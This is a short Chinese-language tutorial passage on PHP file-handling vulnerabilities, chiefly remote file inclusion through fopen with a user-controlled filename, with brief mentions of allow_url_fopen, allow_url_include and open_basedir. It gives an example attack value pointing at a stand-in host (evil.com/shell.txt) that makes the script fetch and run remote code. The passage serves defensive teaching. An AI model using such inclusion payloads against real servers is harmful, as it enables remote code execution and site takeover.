PHP 提供大量檔案處理函數,編程便利卻也埋下隱患。以 fopen("$filename", "r") 為例,若 $filename 可被用戶控制,不僅能遍歷本地任意檔案,更可利用 PHP 透明支援遠程協議(HTTP、FTP)讀取外部資源,構成遠程文件包含(RFI)漏洞。
攻擊者可提交 https://evil.com/shell.txt 作為 $filename,導致腳本包含並執行遠程惡意代碼。若配合 allow_url_fopen=On(預設開啟),威力倍增。實戰中常見於模板引擎、插件系統、動態包含頁面等場景。
.. 目錄遍歷字元。allow_url_fopen 與 allow_url_include(PHP 5.2+)。open_basedir 限制腳本訪問目錄樹。下篇將深入探討本地文件包含(LFI)、會話劫持、SQL 注入等 PHP 常見漏洞攻防實戰。